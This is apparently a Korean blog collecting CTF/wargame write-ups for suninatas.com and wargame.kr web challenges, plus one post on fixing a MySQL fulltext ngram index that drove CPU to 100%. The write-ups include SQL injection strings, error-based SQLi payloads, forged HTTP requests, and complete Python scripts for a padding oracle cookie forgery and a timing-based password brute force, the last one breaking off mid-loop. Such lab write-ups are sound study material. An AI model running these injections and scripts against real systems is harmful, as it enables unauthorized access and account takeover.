여태까지가 몸풀기였다면 이제야 좀 문제같은 문제가 나온다

게시판 하나가 나오는데 대놓고 readme라고 나온다. 누르면 팝업이 하나 생성되고 쿼리가 보인다

"select szPwd from T_Web13 where  nIdx = '3' and szPwd = '"&pwd&"'"


1=1는 차단되있으므로 값을 TRUE로 만들어주기위해 다음과 같이 질의한다
(MSSQL에선 -- 를 적어주기만하면 안되고 뒤에 뭐라도 하나 적어줘야 한다. MSSQL맞겠지?;;)

' or 5>1 -- a


인증키가 나온다. 근데 정작 글은 못읽는다. 이게 뭐야..
이동된 URL을 보자.

http://suninatas.com/Part_one/web06/view.asp?num=3&passcode=[]


뭔가 나와는 있는데 안된다 이럴땐 보통 쿠키에 뭘 해놨을가능성이 높아 확인해보니,
auth%F5key라는 친구가 보인다. 당연히, 그대로 넣으면 안된다. 놀랍게도 게시판에 힌트가 있는데, 레퍼런스에 들어가면 md5로 인코딩하라고 친절히(...) 안내를 해준다

md5을 설정하고 들어가면 드디어 게시글을 읽을 수 있게 되는데 답은 안나와있다. 소스보기를 하면 폼 이름에 뭔가 있으니 그걸 이용해서 auth하면된다.
2016/09/08 15:42 2016/09/08 15:42
Check key value라고 적혀있고 아무것도 없는 폼이 하나 맞이해준다.

                        <script>
                            eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g l=m o(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'a\',\'b\',\'c\',\'d\',\'e\',\'f\');p q(n){g h=\'\';g j=r;s(g i=t;i>0;){i-=4;g k=(n>>i)&u;v(!j||k!=0){j=w;h+=l[k]}}x(h==\'\'?\'0\':h)}',34,34,'||||||||||||||||var|result||start|digit|digitArray|new||Array|function|PASS|true|for|32|0xf|if|false|return'.split('|'),0,{}))        
                        </script>

<!--Hint : 12342046413275659 -->
<!-- M@de by 2theT0P -->


위와같이 난독화된 코드가 있는데 아무래도 핵심인듯 보인다.

deobfuscator 를 통해 스크립트를 살려내보자

var digitArray = new Array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');

function PASS(n) {
  var result = '';
  var start = true;
  for (var i = 32; i > 0;) {
    i -= 4;
    var digit = (n >> i) & 0xf;
    if (!start || digit != 0) {
      start = false;
      result += digitArray[digit]
    }
  }
  return (result == '' ? '0' : result)
}


위에 힌트도 있겠다, 함수에 값을 넣어 돌려보자. 문자열이 하나 나오는데 넣으면 Auth key가 나온다.
2016/09/08 15:33 2016/09/08 15:33
UA를 조작하는 문제이다. 들어가면 나의 UA가 나와있는데, 소스에 힌트가 나와 있다.

<!-- Hint : Make your point to 50 & 'SuNiNaTaS' -->
<!-- M@de by 2theT0P -->


그럼 UA를 조작해보자.

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 7
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


폼을 보내면 web04_ck.asp를 거치게 된다는걸 볼 수 있다. 골떄리는건 1씩오르질않는다. 50번 보내주자(-_-)
그 이후에 SuNiNaTaS로 UA를 바꿔서 질의한후 web04로 돌아가보자

POST http://suninatas.com/Part_one/web04/web04_ck.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 8
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: SuNiNaTaS
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web04/web04.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

total=1


그러면 Auth key가 등장한다.
2016/09/08 15:24 2016/09/08 15:24
풀면서 진짜 제일 황당했던 문제인데, 소스도 뭐고없다.



뭐 모르는게 있나하고 한참 찾아봤는데 그런게 아니었다. 이 문제의 요점은 그냥.. 흔히 발생할 수 있는 실수중하나를 알고 있냐는것이다
Notice Board란 바로 suninatas의 공지사항 보드를 의미한다.

바로 이곳
http://suninatas.com/board/list.asp?divi=notice


그런데 일반회원은 여기 글을 쓸 권한이 없다.
그렇다면 어찌해야할까? Q&A로 이동해서 write를 눌러보자

http://suninatas.com/board/write.asp?page=1&divi=Free


주소가 이렇게 바뀐다. 즉 write.asp에서 게시글을 작성한다는걸 알 수 있다.
주소를 살짝 바꿔보자

게시글을 쓸 수 있게 되고 아무 내용이나 쓰면 Auth key가 나온다
2016/09/08 15:18 2016/09/08 15:18
suninatas.com은 특이하게 아이프레임으로 소스를 넣어서 이동시키고 있다; 그래서 프레임소스보기로 소스를 봐야한다.
- 크롬에는 디폴트로 존재하지만 파이어폭스에선 따로 없어서 좀 불편하다.

문제2번은 폼을 패스하는 문제인데, 핵심 소스는 다음과 같다

<script>
    function chk_form(){
        var id = document.web02.id.value ;
        var pw = document.web02.pw.value ;
        if ( id == pw )
        {
            alert("You can't join! Try again");
            document.web02.id.focus();
            document.web02.id.value = "";
            document.web02.pw.value = "";
        }
        else
        {
            document.web02.submit();
        }
    }
</script>
<!-- Hint : Join / id = pw -->
<!-- M@de by 2theT0P -->


그러니까, chk_form을 패스하라는건데, 이건 그냥 폼 액션 주소를 따서 id와 pw를 같게 만들어서 보내주면 된다.

POST http://suninatas.com/Part_one/web02/web02.asp HTTP/1.1
Host: suninatas.com
Connection: keep-alive
Content-Length: 9
Cache-Control: max-age=0
Origin: http://suninatas.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://suninatas.com/Part_one/web02/web02.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: 

id=1&pw=1


뭐 대략 이런느낌이다.
2016/09/08 15:13 2016/09/08 15:13
요새 못풀고 끙끙거리는 문제가 하나 있는데, 그것만 하다가 머리도 식힐겸 간단히 풀어보기로 했다.
웹 문제가 열문제밖에 없는 곳인데, 나는 리버싱 이런건 아직 잘 못하니까.. 열개만 풀어보기로 했다.
사실, writeup 이라고 하긴 좀 그런게 이미 문제는 다 풀었다. 결국 블로그에 쓰기위해 다시 푸는셈이다..ㅋㅋㅋ

<%
    str = Request("str")

    If not str = "" Then
        result = Replace(str,"a","aad")
        result = Replace(result,"i","in")
        result1 = Mid(result,2,2)
        result2 = Mid(result,4,6)
        result = result1 & result2
        Response.write result
        If result = "admin" Then
            pw = "????????"
        End if
    End if
%>


suninatas 는 아무래도 iis 기반의 asp를 기반으로 하는듯 보인다. 첫번쨰 문제는 문자열을 이용한 문제인데 최종 완성되는 결과를 admin으로 만들어야한다.

문제에서 result1과 result2 로 문자열을 나누는데 이것들은 substr을 의미하는것이다. 결과적으로, result에 들어가는 aad로 replace되는값은 별로 신경쓰지 않아도 된다. (a하나만 넣어도 ad가 완성된셈)

그럼 남은 글자는 min인데 m은 어딜봐도 솟아날 구멍이 없다. 그래서 넣어주고, i는 in이 된다고 하니,

ami를 입력한다.
2016/09/08 15:05 2016/09/08 15:05
근래들어 엄청나게 이상한 이슈가 있었다.

다음과 같은 쿼리문이 있다.

SELECT 1,2,3,4 FROM `TABLE` WHERE match(`A`,`B`) against('+"테스트"' IN BOOLEAN MODE)


멀쩡한 쿼리다.
그런데 이 쿼리에서 숫자가 들어가게 되면 다음과 같은 모양이 되는데

SELECT 1,2,3,4 FROM `TABLE` WHERE match(`A`,`B`) against('+"2000테스트"' IN BOOLEAN MODE)


이렇게 숫자가 들어가게 되면 CPU 100%를 달성하는 쾌거를 이루게 된다. (정확히는 엄청나게 긴 fulltext initialization 을 수행하게 되는데, 이 기간을 기다리지 못한 유저의 다수 쿼리 요청에 의해 서버가 터져나가게 된다)

결국 processlist를 보고 kill 해주고 있는식으로 처리하고 있는데, 언제까지나 이렇게 할수도 없고..
Elasticsearch 까지 고려하다가 역시 근본적인 원인을 찾지 않으면 답이 안나올거라 생각되어서 찾아보게 되었다.

우선
테이블은 다음과 같이 생겼다

CREATE TABLE `_test` (
   ....
   FULLTEXT KEY `idx_` (`A`,`B`) /*!50100 WITH PARSER `ngram` */ 
 ) ENGINE=InnoDB AUTO_INCREMENT=9034081 DEFAULT CHARSET=utf8

다른 컬럼은 별 관심도 없을테니 인덱스는 이렇게..
alter table로 fulltext index 라고 명명해줘도 create table을 찍어보면 fulltext key라고 나온다.

또한 ngram token 은 bigram(2) 이며 혹시 모를 innodb ft_min_length 도 2로 설정된 상태이다.
까고보면 절대 문제가 없는데 특이 사항이 있다면

수시로 insert가 일어난다.(update는 없음)
매일 12시에 꽤 규모가 있는 delete가 일어난다.(배치로 필요없는 row를 다른 테이블로 옮기는 작업을 수행함)

이정도인데 이정도는 누구나 할 것이라고 생각한다.
어쨌든 내가 이 문제에 대해 내린 결론은 mysql 이 delete된 row에 대한 index를 그대로 보존하는게 아닌가.. 이다.
(왜 integer에 대해서만 이런 이슈가 있는진 모르겠다만..)

그래서 답을 찾고 해결한것은
그냥 재 인덱싱한것이다 --

DROP INDEX `idx_` ON `T`;
ALTER TABLE T  ADD FULLTEXT INDEX idx_(A,B) WITH PARSER ngram;


이후엔 별로 문제가 발생하지 않았다. 생각할수록 어이가 없지만 결국 이 쿼리도 배치에 넣어줘야했다. 허참..

2016/08/15 23:44 2016/08/15 23:44
아마 wargame.kr의 마지막 웹 문제 아닐까?

무려 1300점짜리의 error based sqli 문제라고 한다.

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
     exit();
 }
 include("./inc.php"); // database connect.
 include("../lib.php"); // include for auth_code function.

 ini_set('display_errors',false);

 function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }
 function uniq($data){ return md5($data.uniqid());}
 function make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)");}
 function counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')");}
 function pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"); }
 function count_init($id) { return mysql_query("delete from login_count where id='$id'"); }
 function t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"); };

 if(empty($_POST['id']) || empty($_POST['pw']) || empty($_POST['type'])){
  err("Parameter Error :: missing");
 }

 $id=mysql_real_escape_string($_POST['id']);
 $ps=mysql_real_escape_string($_POST['pw']);
 $type=mysql_real_escape_string($_POST['type']);
 $ip=$_SERVER['REMOTE_ADDR'];

 sleep(2); // not Bruteforcing!!

 if($id!=$ip){
  err("SECURITY : u can access with allotted id only");
 }

 $row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"));
 if($row[0]!=1){
  if(false === make_id($id)){
   err("DB Error :: create user error");
  }
 }
 
 $row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"));
 $log_count = (int)$row[0];
 if($log_count >= 4){
  pw_change($id);
  count_init($id);
  err("SECURITY : bruteforcing detected - password is changed");
 }
 
 t_table($id); // don`t access the other account

 if(preg_match("/all_user_accounts/i",$type)){
  err("SECURITY : don`t access the other account");
 }

 counting($id); // limiting number of query

 if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type")){
  err("DB Error :: ".mysql_error());
 }

 $row=mysql_fetch_array($result);
 
 if(empty($row['user_id'])){
  err("Login Error :: not found your `user_id` or `password`");
 }

 echo "welcome <b>$id</b> !! (Login count = $log_count)";
 
 $row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"));

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");

 if($row['ps']==$ps){ echo "<h2>wow! auth key is : ".auth_code("counting query")."</h2>"; }

?>


PHP 에러는 display_errors 가 false이므로 나오지 않을것이고,
err는 자바스크립트로 나오게 될 것 같다. 파라미터 id,pw,type은 반드시 필요하고..

id = ip 는 고정값으로 피할 수 없어보인다. ps는 답을 입력하는 칸으로 보이니 자연스럽게 type이나 ps를 이용해 공격을 해야될 것으로 보인다.
mysql_real_escape_string 되어 있으니 특문도 전부 이스케이프 처리되어 쓸 수 없을 것이다. 그리고 zairo처럼 로그인카운트를 세는데, 4번이 넘어가면 패스워드를 바꿔 버린다. 여기를 피해갈 방법은 딱히 안보인다.

훑어보면
false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type"


이부분이 문제다. 쿼리가 esacape되고 있는 가운데 ''로 처리 안되있으니 type이 공격포인트인거 같다.
그래서 이런식으로 꾸며서 보냈더니 에러가 반환되었다.

type = urllib.quote("1; select ps from t_user")


<script>alert("DB Error :: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select ps from t_user' at line 1");window.location.href='./';</script>


몇차례 더 해봤는데 정확히 틀린부분만 날아온다.
이 상태에서 좀 바꿔서 날려봤는데, 에러가 값을 출력하는 공격을 수행해야 된다고 한다.
링크에 따르면 예시 공격법이 있다. floor등을 사용해야 된다는데 잘 이해가 안되지만 일단 그대로 따라해보기로한다.

mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables;
+--------+---------+
| sum(5) | a       |
+--------+---------+
|   4970 | 5.7.170 |
+--------+---------+
1 row in set (0.01 sec)

mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'

옛날 adm1nkjy 였나 kjy 였나 여튼 그걸 풀때랑 비슷한 것 같다. 요점은 같은걸 만들어야 된다는것 같으니 비슷하게 쿼리를 짜보기로 한다.
타게팅할 테이블과 컬럼은 이미 알고있는 상태니까 (t_user와 ps) 그렇게 꾸겨넣어보기로 하자

type = urllib.quote("1 or (select sum(5),concat(ps,floor(rand(0)*2))as a from information_schema.tables group by a limit 1)")


그랬더니 에러가 다르게 나타났다.

<script>alert("DB Error :: Operand should contain 1 column(s)");window.location.href='./';</script>


찾아보니 부정확한 수의 컬럼이 리턴될때 발생한단다.
쭉 나열해보면

select ps from t_user where user_id='$id' and ps='$ps' and type=1 or (select count(*),concat(ps,floor(rand(0)*2))as a from information_schema.tables group by a limit 1) 


인건데.. count(*)가 있으니 컬럼이 두개가 되버리는 모양같아 sum(5), 를 제거 했더니 

<script>alert("Login Error :: not found your `user_id` or `password`");window.location.href='./';</script>


가 리턴된다. 그러니까, 저 친구는 필요한 친구인가보다..
그럼 하나를 자르던가 늘리던가 해야되는데 너무 막연해서 구글 검색중에 이런걸 발견했다.

select * from users where (SELECT * from users)=(1,2);


적는와중에도 무슨 뜻인줄 모르겠다. 어쨌든, 1,2 를 하니까 같은 에러가 나와서 1,1 과 0,1를 적었을때 같은 값을 얻을 수 있었다.

<script>alert("DB Error :: Duplicate entry '8d4b1b72abc78cd8226cb44168eff3df1' for key 'group_key'");window.location.href='./';</script>


띠용.. 뭔가 나왔다. ps를 넣고 다했다고 생각했는데 이게 왠일? 안된다.
몇번이고 해봐도 안된다. 가만 생각해보니 인포메이션 스키마에서 긁어봐야 원하는 값이 나올리가 없다고 생각해서, 테이블을 t_user 로 바꿨다가도 해보고, login_count 테이블로 바꿔서 시도를 해봤더니,

임시 테이블은 다시 열수 없다와,
다음과 같이 login count를 세는 친구가 나타났다

welcome <b></b> !! (Login count = 0)


하지만 에러를 일으킨게 어느 시점인지 알수가 없었다. 그냥 돌리다보니 막 나와서 종잡을수가 없었는데..
여러가지 시도를 계속 해보았다. 너무 삽질의 연속이었으니까 패스하고..

번외
이 문제는 error based 공격과 무관하게 이 공격방법에 의해 깨어질 수 있었다
pw를 0으로 보내고, 배열을 만들어 검사를 회피하면된다. 아주 간단히 공격이 성공하는 취약점(-_-)이 있었다
요컨데

id=[USERIP]&ps[]=0&type=2 or 1=1


이런식으로 보내면 ps의 검사에 있어 empty값을 비교하기때문에 일치해 문제를 패스할 수 있다
하지만 이 구문에 의해 패치되었다.

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");


PHP는 배열로 POST값을 넘기는것을 허용하고 있기때문에, 반드시 2차적인 처리가 필요함을 명시하는 문제이다 (이 문제에서 얻을 교훈은 아닌가?)

======

2017.05.19

좀 삽질이 많았으나 위는 그냥 과정이고, 문제를 다시 정리하면 우리에겐 3번의 기회가 있고 4번째는 리셋이다

왜 이걸 간과했는지는 잘 모르겠으나.. error based 공격은 두개의 결과가 같이 나타난다. 즉, ps로 나오는 값은 ps가 아니라, count(*) 의 값도 포함하고 있다는 것이다. 즉, 맨뒤의 1은 ps 그냥 count(*) 된 값으로 제거해야 되는 값이었다 ㅡㅡ

다음은 해결 소스... 

#!/usr/bin/env python
# -*- coding: utf8 -*-
import urllib, urllib2, time

headers = {'Host': 'wargame.kr:8080'}

id = "Your IP"
pw = urllib.quote("12345")
type = "1 or (row(1,1) > (select count(*),concat(ps,floor(rand(0)*2))as a from login_count where id=0x{} group by a order by 2)) # ".format(id.encode('hex'))
#type = "1 or (user_id=0x{}) #".format(id.encode('hex'))
pw = urllib.quote("884afd94b647d1436b7e188eb1fbe58f")
data = "id={0}&pw={1}&type={2}".format(id, pw, type)

print data
req = urllib2.Request("http://wargame.kr:8080/counting_query/login_ok.php", data, headers)
response = urllib2.urlopen(req)
res = response.read()
print res


요점은, duplicate 가 일어난 시점에서 가장 뒤의 1을 제거 해주고, type을 그대로 쓰는게 아니라 어드민의 1을 적어주고 아이디를 넣어줘서 정상적인 리퀘스트로 보내야 문제 풀이가 완료된다. 풀고나니 참 허망한 문제로다....

길다 길었어
welcome <b></b> !! (Login count = 3)<h2>wow! auth key is : 3977b3304f38461ce31c67c4d9a208e836814db6</h2>
2016/06/22 05:02 2016/06/22 05:02
Do you know about "padding oracle vulnerability" ?


들어가면 로그인창 하나 있고 소스도 뭐도 없다. guest로 로그인하면 admin으로 로그인하라고 한다.
그리고 L0g1n 이라는 쿠키가 생성된다. 얘는 로그인할때마다 값이 바뀌고, base64화되어있는데 풀어보면 거진 깨진 문자이다.
그래서 쿠키를 1 이라고 편집한 후에 main페이지를 호출했더니 아니 글쎄 invalid iv라고 나온다.

몇번 돌려보니 이런 꼴임을 알 수 있었는데

fKSI1AtTKdE=6t9sghWo8KE=
/e0oQKDo2u0=giMFpLfrwh0=


두개의 base64가 합쳐진듯했고 풀어보니 풀어진다. 유추해보기로 id, pw 가 붙어있는듯 보인다.
base64를 좀 다르게 보내보니 padding error라고 값이 리턴되고, 2바이트를 빼니 invalid iv 라고 나온다.
즉, base64 decode 한 후에 인코드해서 얻을 수 있는 hex코드는 16자리 전부 iv에 쓰이고 있다는 것이다


문제를 어떻게 풀어야되는지 이제 감이 잡히니 검색질을 할 시간이다.

padding oracle attack을 검색하면 뭔가 잔뜩 나오지만 한글로된 문서가 별로 없었다. 그래도 하나 있었다. 세상은 살만해..
(좀 계속찾아보니 중복되는 자료가 많았다. padbuster 이런식으로 검색해도 닿을 수 있다. 실제 취약점이 있는 페이지는 padbuster에 의해 무참히 박살 날 수 있다. 굉장한 취약점이니 꼭 점검하자)

PDF를 같이 열어놓고 차근차근 따라가보자.
먼저, 만들어진 문자열과 시도하려는 문자열을 생각해보자.

guest로 로그인했을때 만들어진값은 당연히 guest라는 문자열을 사용했을 것이다.
헌데 이녀석은 8자가 안된다. 따라서 padding이 진행되어

g u e s t 0x3 0x3 0x3 로 시도되었을 것이다. 이로 미루어보아 admin도
a d m i n 0x3 0x3 0x3 의 형태로 쿠키를 만들어주면 될 것이다.

먼저 intermediary value 를 알아내야한다. 그래서 코드를 짜야하고...
(이렇게 담담하게 적지만 몇시간에 걸친 굉장한 삽질을 했다. 한숨만 나온다 ...........)
알아낸 이후에 XOR후 키를 만들어내면된다.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, base64

def mkcookie(value):
    ret_str = ""
    ret_str += urllib.quote(base64.b64encode(value[:len(value)/2].decode('hex')))
    ret_str += urllib.quote(base64.b64encode(value[len(value)/2:].decode('hex')))
    return ret_str

def xor(data, offset):
    tmp = ""
    for i in range(0, len(data), 2):
        tmp += str(hex(int(data[i:i+2], 16) ^ offset).split('x')[1]).zfill(2)
    return tmp

cookie_id = "Ya4iK7+8SKA="
cookie_pw = "rixnqH9n7NA="
imtermediary = ""
payload = ""
decrypt = ''


session = "Ya4iK7+8SKA%3D rixnqH9n7NA%3D"
sess = cookie_id.decode('base64').encode('hex') + cookie_pw.decode('base64').encode('hex')


for i in range(1,9):
    for j in xrange(0x00, 0xff):
        hexa = format(j, 'X')
        tmp = str(hexa + xor(imtermediary, i)).zfill(16)
        payload = mkcookie(tmp + sess[len(sess)/2:])

        headers = {'Host': 'wargame.kr:8080', 'Cookie': "L0g1n={}".format(payload)}
        req = urllib2.Request("http://wargame.kr:8080/dun_worry_about_the_vase/main.php", '', headers)
        response = urllib2.urlopen(req)
        res = response.read()
        if "padding error" not in res:
            imtermediary = str(xor(hexa, i)).zfill(2) + imtermediary
            print "[!]", imtermediary , tmp
            break

imtermediary = "06db4758cbbf4ba3"

for i in range(0, len(imtermediary), 2):
    decrypt = decrypt + chr(int(imtermediary[i:i+2],16) ^ int(sess[i:i+2],16))

payload = ''
for i in range(0, len(imtermediary), 2):
    payload += str(hex(int(imtermediary[i:i+2],16) ^ int("admin".encode('hex')+decrypt[5:].encode('hex')[i:i+2],16)).split('x')[1]).zfill(2)


payload = mkcookie(payload + sess[len(sess)/2:])
headers = {'Host': 'wargame.kr:8080', 'Cookie': "L0g1n={}".format(payload)}
req = urllib2.Request("http://wargame.kr:8080/dun_worry_about_the_vase/main.php", '', headers)
response = urllib2.urlopen(req)
res = response.read()
print res


도움을 이곳에서 가장 많이 받았다.
이곳의 글은 간단하지만 핵심이긴하다. 근데 너무 핵심만 있어서 엄청나게 헤맸다..... 현기증난다.
2016/06/22 05:02 2016/06/22 05:02
시간이 오래 걸린다고 시작부터 겁을 준다

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 include("../lib.php"); // include for auth_code function.

 //ini_set("display_errors", true);

 $password=auth_code("pw crack");
 $dest = $_SERVER['REMOTE_ADDR'];
 $port = 31337;
 $data="";

 $sock = @fsockopen($dest,$port,$errno,$errstr,10);
 if(!$sock){die("IP : $dest<br />port : $port<br /><h2>Connection Error</h2><br /><br />Please, open your port!");}
 fwrite($sock,"password : ");
 for($i=0;$i<40;$i++){
  $c=fgetc($sock);
  if(ord($c)==0 || ord($c) == 10){ break; }
  $data.=$c;
 }
 fclose($sock);
 
 for($i=0;$i<40;$i++){
  sleep(2);
  if($data[$i]!=$password[$i]){
   die("wrong password!");
   break;
  }
 }
 echo "<script> alert('congratulation!! that`s auth key!!'); </script>";


대강 소스를 보면 40자로 패스워드를 만들고 소켓을 닫고, sleep(2) .. 그니까 한자리 맞출때마다 디폴트2초, 맞추면 4초가 걸리게 되는 셈이다
time based 공격을 해본적이 있으니까 응용해보자. 근데 대놓고 코딩을 하라는 문제는 없었기 때문에 각오를 좀 다지고...

일단 31337 을 listen 하는 간이서버를 하나 만들자.

python tcp서버는 대강 이렇게 생겼는데

#!/usr/bin/python
 
from socket import *
from time import ctime 
 
HOST = ''
PORT = 31337
BUFSIZ = 1024
ADDR = (HOST, PORT)
 
tcpSerSock = socket(AF_INET, SOCK_STREAM)
tcpSerSock.bind(ADDR)
tcpSerSock.listen(5) 
 
while True:
    tcpCliSock, addr = tcpSerSock.accept()
    print 'Connected from:', addr
    
    while True:
        data = tcpCliSock.recv(BUFSIZ)

    tcpCliSock.close()
tcpSerSock.close()


호스트 상관없이 포트만 열고 냄새를 맡겠다는 전략이다. 이렇게 하면 다음과 같이 출력된다

password :


recv한 데이터가 저게 끝이다. 이제 서버로 내가 의도한 비밀번호를 보내주면 될터..
우린 무려 서버를 완성했기때문에 50% 이상 벌써 달성한것이다.

비밀번호를 보내서 2초 이상 걸리면 성공, 실패하면 2초니까 자리수마다 체크해야한다.
즉, 첫자리에서 성공하면 2초 이상, 둘째도 맞으면 4초, 그다음맞으면 6초... 하지만 갑자기 2초가 나오면 그친구는 틀린.. 코드가 생각만해도 복잡할거 같다.

나는 처음에 생각하기로 이건 되게 쉬울것 같다라고 생각했는데 그게 아니었다. 영구적인 서버를 하나 열어놓고 계속 보내면 될줄알았는데 만만의 콩떡이다. 상대는 PHP. 한번쏘고 연결이 끊어진다. 즉, 지속적 통신을 하고 있는게 아니다. php 페이지를 일일히 콜을 해서 내 서버로 1회 요청을 해야하고, 해당 request 가 끝나는 시간을 재야한다.

고로 내 소스는 계속 포트를 열어놓을 필요도 없고, 보내고 포트를 닫아버려도 된다는 말이다.
동시에, 두개의 작업을 해야한다. 서버 열고, 홈페이지 열어주고, 그사이에 시간재고. 즉, 쓰레드를 사용해야 된다는 소리이다


이런 느낌이다

import time
import threading
def hello():
    x = 0 
    while x < 100000000:
        pass
        x += 1
start = time.clock()
t = threading.Thread(target = hello, args = ())
t.start() 
t.join()
end = time.clock()
print "The time was {}".format(end - start)


뭐 조인까지는 필요없겠지만, 쓰레드에서 함수를 호출하고 끝나는 시간을 재줘야 한다. 이런식으로 만들어보자.
아까 만든 서버는 그냥 켜놓고, 다른 소스를 만들어서

def game_request():
    req = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php")
    response = urllib2.urlopen(req)

start = time.clock()
t = threading.Thread(target = game_request, args = ())
t.start()
t.join()
end = time.clock()
print "The time was {}".format(end - start)


돌려보면,

The time was 2.02440399267
[Finished in 2.2s]


2초만에 끝났단걸 알 수 있다. 따로 값을 보내지 않아도 무조건 2초는 쉬기때문에..
대강 이해가 됐을테니 쓰레드를 넣어서 코드를 구현해보자. 일단은 프로토타입이다.

#!/usr/bin/python

import urllib2
from socket import *
import time
import threading
 
def serv(i):
    HOST = ''
    PORT = 31337
    BUFSIZ = 1024
    ADDR = (HOST, PORT)
     
    tcpSerSock = socket(AF_INET, SOCK_STREAM)
    tcpSerSock.bind(ADDR)
    tcpSerSock.listen(5)

    tcpCliSock, addr = tcpSerSock.accept()
    tcpCliSock.send(chr(i))
    data = tcpCliSock.recv(BUFSIZ)

    tcpCliSock.close()
    tcpSerSock.close()


def game_request():
    req = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php")
    response = urllib2.urlopen(req)



for i in range(32,128):
    
    t = threading.Thread(target = game_request, args = ())
    t.start()

    start = time.clock()
    t1 = threading.Thread(target = serv(i), args = ())
    t1.start()
    end = time.clock()

    t1.join()
    t.join()

    print "Trying {} for time :: {}".format(chr(i),end - start)



위에 충실히 설명한것을 구현한 코드이다. 이걸 요대로 돌리면.. 32,128은 아스키코드 범위이다.

Trying   for time :: 2.02322761968
Trying ! for time :: 2.01210221619
Trying " for time :: 2.01438766471
Trying # for time :: 2.01621868877
Trying $ for time :: 2.01269823184
Trying % for time :: 2.01177938825
Trying & for time :: 2.01511927476
Trying ' for time :: 2.01405883997
Trying ( for time :: 2.01229044919
Trying ) for time :: 2.01229178181
Trying * for time :: 2.0135081335
Trying + for time :: 2.01389692627
Trying , for time :: 2.01464952514
Trying - for time :: 2.01391724877
Trying . for time :: 2.01377632389
Trying / for time :: 2.01210188303
Trying 0 for time :: 2.01470449584
Trying 1 for time :: 2.01273188057
Trying 2 for time :: 2.01311334392
Trying 3 for time :: 2.01269523344
Trying 4 for time :: 4.01362840273
Trying 5 for time :: 2.01312433806
Trying 6 for time :: 2.01345649436



여기까지 돌리고 멈췄다. 유난히 튀는 녀석이 하나 있는데 그것은 바로 4. 우리는 첫자리가 이제 4임을 알게 되었다.
플래그는 총 40자리이므로 이런식으로 40자리를 찾아주면된다. 단, 자리수마다 2초씩 올라가니까 정말 오래 걸릴것이다.
그래서 좀 극단적으로, 이렇게 올리는걸 설마 특문까지 다 넣겠나 싶어서 숫자와 소문자, 대문자만 넣어서 돌리기로 했다. 특문은 솔직히 좀..
(나중엔 돌리다가 대문자도 제거했다.... 범위를 이렇게 하세요 0123456789abcdef)

완성된 코드!
알아서 멈추진 않으니까 잘 판별하세요! 전 넉넉하게 0시부터 시작해서 그냥 아침에 확인했습니다

#!/usr/bin/python

import urllib2
from socket import *
import time
import threading
import sys

flag = ""
string = "0123456789abcdef "

def serv(i):
    global flag

    HOST = ''
    PORT = 31337
    BUFSIZ = 1024
    ADDR = (HOST, PORT)
     
    tcpSerSock = socket(AF_INET, SOCK_STREAM)
    tcpSerSock.bind(ADDR)
    tcpSerSock.listen(5)

    tcpCliSock, addr = tcpSerSock.accept()

    input_flag = "{}{}".format(flag,i)

    tcpCliSock.send(input_flag)
    data = tcpCliSock.recv(BUFSIZ)
    print data, input_flag

    tcpCliSock.close()
    tcpSerSock.close()


def game_request():
    req = urllib2.Request("http://wargame.kr:8080/pw_crack/check.php")
    response = urllib2.urlopen(req)
    res = response.read()
    if "congratulation" in res:
        print res
    else:
        print "[-] Fail"

print "[*] Starting pw_crack.py"
print

for j in range(1,41):
